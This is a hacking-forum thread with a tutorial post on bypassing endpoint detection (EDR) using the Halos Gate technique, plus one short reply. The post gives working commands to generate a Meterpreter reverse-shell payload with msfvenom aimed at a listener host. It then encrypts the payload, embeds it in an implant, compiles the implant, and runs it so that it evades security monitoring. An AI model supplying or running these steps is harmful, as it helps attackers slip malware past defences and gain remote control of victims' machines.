+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: Bypass EDR with Halos Gate (/Thread-Bypass-EDR-with-Halos-Gate)
Bypass EDR with Halos Gate - 0x7FFE4A71 - 07-25-2024
Hello guys,
Halos Gate is a patch to Hells Gate work with Hooked NTDLL without reading a net copy of NTDLL from disk.
The syscall number is caught from neighbors.
Create a RAW payload with Msfveonm
msfvenom -p windows/x64/meterpreter/reverse_* lhost=192.168.10.5 lport=4545 -f raw > meterpreter.raw
AES your payload (use aes.py from Sektor7)
python aes.py meterpreter.raw > meterpreter-shellcode.txt
Results:
AESkey[] = { 0x83, 0xef, ... }
payload[] = { 0x71, 0x77, 0xc2, 0xdb, 0x16, ... }
Change implant:
“AESkey" --> “key”
“payload” --> “payload”
Compile
gcc implant.cpp -o implant.exe
Remenber to open the Msfconsole and ser your listener
Execute the file gererated
implant.exe
RE: Bypass EDR with Halos Gate - jamescollink - 10-02-2024
Excellent link. Hope it still works.